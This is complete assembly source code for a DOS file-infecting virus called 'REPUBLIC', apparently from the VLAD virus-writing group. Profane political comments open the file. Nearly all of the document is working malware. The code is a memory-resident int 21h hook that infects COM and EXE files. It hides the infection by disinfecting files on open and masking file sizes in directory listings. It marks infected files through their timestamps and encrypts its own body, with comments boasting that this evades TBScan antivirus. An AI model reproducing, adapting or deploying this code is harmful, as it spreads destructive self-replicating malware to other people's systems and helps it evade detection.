; REPUBLIC! ; +-------+ Qark/VLAD ; ; ; This virus is named because I (and metabolis) support a republic for ; Australia. Fuck the Union Jack off from our flag... we want something ; Australian in there... and an Australian head of state not some pommy ; bitch Queen and her corgis. ; ; A funny thing: I wrote a full-on MTE/TPE/DAME type polymorphic engine ; for this virus, but TBScan found it every time! But when i do the ; shitty XOR routine that's at the end, TBScan hardly finds anything! ; TBAV can be proud of it's capabilites with polymorphism, but for ; basic encryption it's a big thumbs down... ; ; Stats: ; - Disinfect on open, Infect on close. ; - No directory filesize change ; - No findfirst filesize change ; - Some anti-debugging features ; ; Anyway, this is my best virus so far. I've come a fair way since broken, ; fucked up brother in VLAD#1 I'm sure you'll agree. I wrote this virus ; a few months ago and am better than this already. ; ; As always, the A86 assembler is my favourite :) org 0 db 0beh ;MOV SI,xxxx delta dw offset enc_start + 100h cld call encrypt enc_start: push cs pop ds ;DS=CS sub si,offset enc_end ;The polymorphism is done. mov word ptr [si+offset quit],20cdh quit: mov word ptr [si+offset quit],44c7h ;The bytes changed. push es push si ;If I don't get a feed soon, I'll start to fade... mov ax,0FEEDh ;Feed ? int 21h cmp ax,0FADEh ;Yes... je resident ;Fade... mov ax,es dec ax mov ds,ax cmp byte ptr [0],'Z' jne resident sub word ptr [3],160 ;2560 bytes of memory. sub word ptr [12h],160 ;2560 bytes off TOM. mov bx,word ptr [12h] ;Read in the TOM. push cs pop ds ;DS=CS xor ax,ax ;ES=0 (Vector Table) mov es,ax mov ax,word ptr es:[132] ;Get int21h. mov word ptr [si+offset i21],ax mov ax,word ptr es:[134] ;Get int21h segment. mov word ptr [si+offset i21+2],ax mov es,bx ;ES=Segment to store virus. xor di,di ;Zero in memory. mov cx,offset length ;The size of the virus. rep movsb ;Move the virus. xor ax,ax mov ds,ax ;ES=0 (Vector Table) mov word ptr [132],offset infection mov [134],bx ;BX=Virus Seg I hope! resident: pop si ;SI=IP (Virus start) pop es ;ES=PSP push cs pop ds cmp byte ptr [si+offset com_exe],1 je exe_exit mov ax,word ptr [si+offset old3] mov [100h],ax mov al,byte ptr [si+offset old3+2] mov [102h],al push es pop ds call zero_all mov ax,100h jmp ax Exe_Exit: mov ax,es ;ES=PSP add ax,10h ;EXE file start. add word ptr [si+jump+2],ax call zero_all mov sp,word ptr [si+offset orig_sp] add ax,word ptr [si+offset orig_ss] ;Fix SS with AX. mov ss,ax push es pop ds db 0eah jump dd 0 Message db 'Go the Republic! ' db 'Fuck off Royal Family!',0 Creator db 'Qark/VLAD of the Republic of Australia',0 Infection: push ax xchg al,ah cmp ax,004bh ;Exec. Don't infect on 4B01h because je test_inf ;debug will find it then. cmp al,43h ;Chmod. je test_inf cmp al,56h ;Rename. je test_inf cmp al,6ch ;Open. je dis_inf cmp al,3dh ;Open je dis_inf cmp al,11h ;FCB find. je dir_listing cmp al,12h ;Dir listing in progress. je dir_listing cmp al,4eh ;Find first. je find_file cmp al,4fh ;Find_next. je find_file cmp al,3eh ;Close. je end_infect pop ax cmp ax,0FEEDh je res_check ;Testing for installation ? jump_exit: jmp jend ;Exit TSR res_check: mov ax,0FADEh ;Return parameter. iret dir_listing: jmp dir_stealth find_file: jmp search_stealth dis_inf: jmp full_stealth ;Disinfect on the fly. end_infect: jmp close_infect jump2_exit: jmp far_pop_exit ;Just an exit. test_inf: push bx push cx push dx push si push di push ds push es call check_name jc jump2_exit mov ax,3d00h ;Open readonly. mov dx,di ;DX=DI=Offset length call int21h jc jump2_exit mov bx,ax call get_sft ;Test for infection. mov ax,word ptr es:[di+0dh] ;File time into AX from SFT. mov word ptr es:[di+2],2 ;Bypass Read only attribute. and ax,1f1fh ;Get rid of the shit we don't need. cmp al,ah ;Compare the seconds with minutes. je jump2_exit Handle_Infection: push cs pop es ;ES=CS ;Read the File header in to test ;for EXE or COM. mov ah,3fh ;Read from file. mov cx,1ch ;1C bytes. call int21h ;DX=Offset length from file open. ;We don't need the filename anymore ;so use that space as a buffer. mov si,dx ;SI=DX=offset length. mov di,offset header mov cx,18h rep movsb ;Move header to header. mov si,dx ;SI=DX=Offset of length. mov ax,word ptr [si] ;=Start of COM or EXE. add al,ah ;Add possible MZ. cmp al,167 ;Test for MZ. je exe_infect jmp com_infect EXE_infect: mov byte ptr com_exe,1 ;Signal EXE file. cmp word ptr [si+1ah],0 ;Test for overlays. jne exe_close_exit ;Quick... run!!! push si ;SI=Offset of header add si,0eh ;SS:SP are here. mov di,offset orig_ss movsw ;Move them! movsw mov di,offset jump ;The CS:IP go in here. lodsw ;ADD SI,2 - AX destroyed. movsw movsw ;Move them! pop si call get_sft ;ES:DI = SFT for file. mov ax,word ptr es:[di+11h] ;File length in DX:AX. mov dx,word ptr es:[di+13h] mov cx,16 ;Divide by paragraphs. div cx sub ax,word ptr [si+8] ;Subtract headersize. mov word ptr delta,dx ;Initial IP. add delta,offset enc_start ;Fix for polymorphics. mov word ptr [si+14h],dx ;IP in header. mov word ptr [si+16h],ax ;CS in header. add dx,offset stack_end ;Fix SS:SP for file. mov word ptr [si+0eh],ax ;We'll make SS=CS mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer. mov ax,word ptr es:[di+11h] ;File length in DX:AX. mov dx,word ptr es:[di+13h] add ax,offset length ;Add the virus length on. adc dx,0 ;32bit mov cx,512 ;Divide by pages. div cx and dx,dx jz no_page_fix inc ax ;One more for the partial ;page! no_page_fix: mov word ptr [si+4],ax ;Number of pages. mov word ptr [si+2],dx ;Partial page. mov word ptr es:[di+15h],0 ;Lseek to start of file. call get_date ;Save the old time/date. mov ah,40h ;Write header to file. mov dx,si ;Our header buffer. mov cx,1ch ;1CH bytes. call int21h jc exe_close_exit mov ax,4202h ;End of file. Smaller than ;using SFT's. xor cx,cx ;Zero CX cwd ;Zero DX (If AX < 8000H then ;CWD moves zero into DX) call int21h call enc_setup ;Thisll encrypt it and move ;it to the end of file. exe_close_exit: jmp com_close_exit com_infect: mov byte ptr com_exe,0 ;Flag COM infection. mov ax,word ptr [si] ;Save COM files first 3 bytes. mov word ptr old3,ax mov al,[si+2] mov byte ptr old3+2,al call get_sft ;SFT is at ES:DI mov ax,es:[di+11h] ;AX=File Size cmp ax,64000 ja com_close_exit ;Too big. cmp ax,1000 jb com_close_exit ;Too small. push ax ;Save filesize. mov newoff,ax ;For the new jump. sub newoff,3 ;Fix the jump. mov word ptr es:[di+15h],0 ;Lseek to start of file :) call get_date ;Save original file date. mov ah,40h mov cx,3 mov dx,offset new3 ;Write the virus jump to start of call int21h ;file. pop ax ;Restore file size. jc com_close_exit ;If an error occurred... exit. mov word ptr es:[di+15h],ax ;Lseek to end of file. add ax,offset enc_start + 100h ;File size + 100h. mov word ptr delta,ax ;The delta offset for COM files. call enc_setup com_close_exit: mov ah,3eh call int21h far_pop_exit: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jend: db 0eah ;Opcode for jmpf i21 dd 0 int21h proc near ;Our int 21h pushf call dword ptr cs:[i21] ret int21h endp close_infect: cmp bl,4 ja good_handle pop ax jmp jend Good_Handle: push bx ;Save the original registers. push cx push dx push si push di push ds push es call get_sft ;ES:DI = SFT mov ax,word ptr es:[di+0dh] ;AX=Time and ax,1f1fh ;Shit we don't need. cmp al,ah ;AL=AH means infected. je far_pop_exit mov dx,offset length push cs pop ds mov word ptr es:[di+2],2 ;Read/Write mode. mov word ptr es:[di+15h],0 ;Zero file pointer. mov word ptr es:[di+17h],0 ;Zero file pointer. add di,28h ;ES:DI=Extension cmp word ptr es:[di],'OC' je close_com cmp word ptr es:[di],'XE' jne far_pop_exit Close_Exe: inc di inc di cmp byte ptr es:[di],'E' jne far_pop_exit jmp handle_infection Close_Com: cmp byte ptr es:[di+2],'M' jne far_pop_exit jmp handle_infection ;------- Full_Stealth: push bx push cx push dx push si push di push ds push es cmp al,6ch jne stealth_6c mov dx,si stealth_6c: call check_name jnc do_stealth Stealth_end: jmp far_pop_exit Do_Stealth: mov ax,3d00h mov dx,di call int21h jc stealth_end mov bx,ax ;BX=filehandle call get_sft ;ES:DI=SFT mov ax,word ptr es:[di+0dh] ;File time into AX from SFT. mov word ptr es:[di+2],2 ;Bypass Read only attribute. and ax,1f1fh ;Get rid of the shit we don't need. cmp al,ah ;Compare the seconds with minutes. jne stealth_end ;Not infected... mov ax,word ptr es:[di+11h] ;File size. mov dx,word ptr es:[di+13h] push dx push ax sub ax,1ch ;Header+time+date = 1ch sbb dx,0 mov word ptr es:[di+15h],ax ;File pointer. mov word ptr es:[di+17h],dx mov ah,3fh mov dx,offset header ;Read in header. mov cx,1ch call int21h pop ax pop dx ;DX:AX=length of file sub ax,offset length ;EOF - length. sbb dx,0 mov word ptr es:[di+15h],ax mov word ptr es:[di+17h],dx mov ah,40h ;Truncate virus off. xor cx,cx call int21h jc stealth_end mov word ptr es:[di+15h],0 ;Start of file mov word ptr es:[di+17h],0 mov ah,40h mov dx,offset header mov cx,18h call int21h ;Write original header back. mov cx,word ptr time mov dx,word ptr date mov ax,5701h ;Put original time/date back. call int21h mov ah,3eh ;Close file. call int21h jmp stealth_end Check_Name proc near ;Entry: ;DS:DX=Filename ; ;Exit: ;Carry if bad name. ;DS=ES=CS ;AX is fucked. ;SI = File Extension Somewhere. ;DI = Offset length. mov si,dx ;DS:SI = Filename. push cs pop es ;ES=CS mov ah,60h ;Get qualified filename. mov di,offset length ;DI=Buffer for filename. call int21h ;This converts it to uppercase too! ;CS:LENGTH = Filename in uppercase ;with path and drive. Much easier ;to handle now! push cs pop ds ;DS=CS mov si,di ;SI=DI=Offset Length cld ;Forward! find_ascii_z: lodsb cmp al,0 jne find_ascii_z sub si,4 ;Points to the file extension. 'EXE' lodsw ;Mov AX,DS:[SI] cmp ax,'XE' ;The 'EX' out of 'EXE' jne test_com lodsb ;Mov AL,DS:[SI] cmp al,'E' ;The last 'E' in 'EXE' jne Bad_Name jmp do_file ;EXE-file test_com: cmp ax,'OC' ;The 'CO' out of 'COM' jne Bad_Name lodsb ;Mov AL,DS:[SI] cmp al,'M' je do_file ;COM-file Bad_Name: stc ret do_file: clc ret Check_Name endp Search_Stealth: pop ax ;Restore AX. call int21h jc end_search push es push bx push si mov ah,2fh call int21h mov si,bx mov bx,word ptr es:[si+16h] and bx,1f1fh cmp bl,bh jne search_pop ;Is our marker set ? sub word ptr es:[si+1ah],offset length ;Subtract the file length. sbb word ptr es:[si+1ch],0 search_pop: pop si pop bx pop es clc end_search: retf 2 ;This is the same as an IRET ;except that the flags aren't popped ;off so our Carry Remains set. Dir_Stealth: ;This bit means that wen you do a 'dir' there is no change in ;file size. pop ax call int21h ;Call the interrupt cmp al,0 ;straight off. jne end_of_dir push es push ax ;Save em. push bx push si mov ah,2fh ;Get DTA address. call int21h mov si,bx cmp byte ptr es:[si],0ffh ;Extended FCB ? jne not_extended add si,7 ;Add the extra's. not_extended: mov bx,word ptr es:[si+17h] ;Move time. and bx,1f1fh cmp bl,bh jne dir_pop ;Is our marker set ? sub word ptr es:[si+1dh],offset length ;Subtract the file length. sbb word ptr es:[si+1fh],0 dir_pop: pop si pop bx pop ax pop es end_of_dir: iret Get_Date proc near mov ax,5700h ;Get Date/Time. call int21h mov word ptr time,cx mov word ptr date,dx ret Get_date endp Set_Marker proc near mov cx,time mov al,ch and al,1fh and cl,0e0h or cl,al mov dx,date mov ax,5701h call int21h ret Set_marker endp Enc_Setup proc near push cs pop es in al,40h mov byte ptr cs:cipher,al xor si,si mov di,offset length ;Offset of our buffer. mov cx,offset length ;Virus Length. rep movsb ;Move the virus up in memory for ;encryption. mov si,offset length + offset enc_start call encrypt ;Encrypt virus. mov ah,40h ;Write virus to file mov dx,offset length ;Buffer for encrypted virus. mov cx,offset length ;Virus length. call int21h call set_marker ;Mark file as infected. ret Enc_setup endp Get_SFT Proc Near ;Entry: BX=File Handle. ;Exit: ES:DI=SFT. push bx mov ax,1220h ;Get Job File Table Entry. The byte pointed int 2fh ;at by ES:[DI] contains the number of the ;SFT for the file handle. xor bx,bx mov bl,es:[di] ;Get address of System File Table Entry. mov ax,1216h int 2fh pop bx ret Get_SFT EndP Zero_All proc near ;Zero's everything cept AX. xor bx,bx ;Zero BX mov cx,bx mov dx,bx mov di,bx ret Zero_All endp New3 db 0e9h ;The jump for the start of Newoff dw 0 ;COM files. orig_ss dw 0 orig_sp dw 0 com_exe db 0 old3 db 0cdh,20h,90h enc_end: ;Encryption ends here. ; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111 ; Works every time :) encrypt proc near ;Si = enc_start mov cx,offset enc_end - offset enc_start db 0b0h ;=MOV AL,xx cipher db 0 enc_loop: ror al,1 neg al xor cs:[si],al ;<--- Whoah! Never guess this was encryption! add al,al inc si loop enc_loop ret Encrypt endp header db 18h dup (0) ;rewrite this time dw 0 ;restore this date dw 0 length db 200 dup (0) stack_end: